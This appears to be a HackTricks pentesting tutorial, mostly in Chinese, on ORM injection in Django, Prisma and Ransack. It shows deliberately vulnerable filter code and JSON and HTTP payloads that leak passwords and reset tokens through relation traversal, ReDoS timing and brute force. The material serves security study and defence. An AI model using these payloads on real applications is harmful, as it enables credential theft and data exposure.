# ORM Injection {{#include ../banners/hacktricks-training.md}} ## Django ORM (Python) 在[**这篇文章**](https://www.elttam.com/blog/plormbing-your-django-orm/)中解释了如何通过使用例如以下代码使Django ORM变得脆弱:
class ArticleView(APIView):
"""
一些基本的API视图,用户向其发送请求以
搜索文章
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
注意所有的request.data(这将是一个json)是直接传递给**从数据库中过滤对象**的。攻击者可以发送意外的过滤器,以泄露比预期更多的数据。 示例: - **登录:** 在简单的登录中尝试泄露注册用户的密码。 ```json { "username": "admin", "password_startswith": "a" } ``` > [!CAUTION] > 可能会通过暴力破解密码直到其泄露。 - **关系过滤**:可以遍历关系以泄露来自未预期在操作中使用的列的信息。例如,如果可以泄露由用户创建的文章,具有以下关系:Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`)。 ```json { "created_by__user__password__contains": "pass" } ``` > [!CAUTION] > 可能会找到所有创建了文章的用户的密码 - **多对多关系过滤**:在前面的例子中,我们无法找到没有创建文章的用户的密码。然而,遵循其他关系这是可能的。例如:Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`). ```json { "created_by__departments__employees__user_startswith": "admi" } ``` > [!CAUTION] > 在这种情况下,我们可以找到所有在创建文章的用户部门中的用户,然后泄露他们的密码(在之前的json中我们只是泄露了用户名,但随后可以泄露密码)。 - **滥用Django组和权限的多对多关系与用户**:此外,AbstractUser模型用于在Django中生成用户,默认情况下该模型与权限和组表具有一些**多对多关系**。这基本上是**从一个用户访问其他用户**的默认方式,如果他们在**同一组或共享相同权限**。 ```bash # By users in the same group created_by__user__groups__user__password # By users with the same permission created_by__user__user_permissions__user__password ``` - **绕过过滤限制**: 同一篇博客文章建议绕过某些过滤的使用,例如 `articles = Article.objects.filter(is_secret=False, **request.data)`。可以转储 is_secret=True 的文章,因为我们可以从关系回溯到 Article 表,并从非秘密文章中泄露秘密文章,因为结果是连接的,并且在非秘密文章中检查 is_secret 字段,而数据是从秘密文章中泄露的。 ```bash Article.objects.filter(is_secret=False, categories__articles__id=2) ``` > [!CAUTION] > 滥用关系可以绕过即使是旨在保护所显示数据的过滤器。 - **基于错误/时间的 ReDoS**:在之前的示例中,期望在过滤器工作与否时有不同的响应,以此作为神谕。但也可能在数据库中执行某些操作时,响应始终相同。在这种情况下,可以使数据库出错以获取新的神谕。 ```json // Non matching password { "created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$" } // ReDoS matching password (will show some error in the response or check the time) {"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"} ``` 从同一篇关于此向量的帖子中: - **SQLite**:默认情况下没有正则表达式操作符(需要加载第三方扩展) - **PostgreSQL**:没有默认的正则表达式超时,并且不太容易回溯 - **MariaDB**:没有正则表达式超时 ## Prisma ORM (NodeJS) 以下是[**从此帖子提取的技巧**](https://www.elttam.com/blog/plorming-your-primsa-orm/)。 - **完全查找控制**:
const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// 攻击者对所有 prisma 选项拥有完全控制
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});
可以看到整个 JavaScript 主体被传递给 prisma 以执行查询。 在原始帖子的示例中,这将检查所有由某人创建的帖子(每个帖子都是由某人创建的),同时返回该某人的用户信息(用户名、密码...) ```json { "filter": { "include": { "createdBy": true } } } // Response [ { "id": 1, "title": "Buy Our Essential Oils", "body": "They are very healthy to drink", "published": true, "createdById": 1, "createdBy": { "email": "karen@example.com", "id": 1, "isAdmin": false, "name": "karen", "password": "super secret passphrase", "resetToken": "2eed5e80da4b7491" } }, ... ] ``` 以下内容选择所有由某个拥有密码的人创建的帖子,并将返回该密码: ```json { "filter": { "select": { "createdBy": { "select": { "password": true } } } } } // Response [ { "createdBy": { "password": "super secret passphrase" } }, ... ] ``` - **完全的 where 子句控制**: 让我们看看攻击者如何控制 `where` 子句:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // 易受 ORM 泄漏影响
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});
可以直接过滤用户的密码,例如: ```javascript await prisma.article.findMany({ where: { createdBy: { password: { startsWith: "pas", }, }, }, }) ``` > [!CAUTION] > 使用像 `startsWith` 这样的操作可能会泄露信息。 - **多对多关系过滤绕过过滤:** ```javascript app.post("/articles", async (req, res) => { try { const query = req.body.query query.published = true const posts = await prisma.article.findMany({ where: query }) res.json(posts) } catch (error) { res.json([]) } }) ``` 可以通过回溯 `Category` -\[\*..\*]-> `Article` 之间的多对多关系来泄露未发布的文章: ```json { "query": { "categories": { "some": { "articles": { "some": { "published": false, "{articleFieldToLeak}": { "startsWith": "{testStartsWith}" } } } } } } } ``` 也可以通过滥用某些循环回路的多对多关系来泄露所有用户: ```json { "query": { "createdBy": { "departments": { "some": { "employees": { "some": { "departments": { "some": { "employees": { "some": { "departments": { "some": { "employees": { "some": { "{fieldToLeak}": { "startsWith": "{testStartsWith}" } } } } } } } } } } } } } } } } ``` - **错误/定时查询**:在原始帖子中,您可以阅读一系列非常广泛的测试,以找到使用基于时间的有效载荷泄露信息的最佳有效载荷。这是: ```json { "OR": [ { "NOT": {ORM_LEAK} }, {CONTAINS_LIST} ] } ``` 在 `{CONTAINS_LIST}` 中是一个包含 1000 个字符串的列表,以确保 **在找到正确的 leak 时响应会延迟。** ## **Ransack (Ruby)** 这些技巧在 [**这篇文章中发现**](https://positive.security/blog/ransack-data-exfiltration)**。** > [!TIP] > **请注意,Ransack 4.0.0.0 现在强制使用显式允许列表来进行可搜索的属性和关联。** **脆弱示例:** ```ruby def index @q = Post.ransack(params[:q]) @posts = @q.result(distinct: true) end ``` 注意查询将由攻击者发送的参数定义。例如,可以通过以下方式暴力破解重置令牌: ```http GET /posts?q[user_reset_password_token_start]=0 GET /posts?q[user_reset_password_token_start]=1 ... ``` 通过暴力破解和潜在的关系,可以从数据库中泄露更多数据。 ## References - [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/) - [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/) - [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration) {{#include ../banners/hacktricks-training.md}}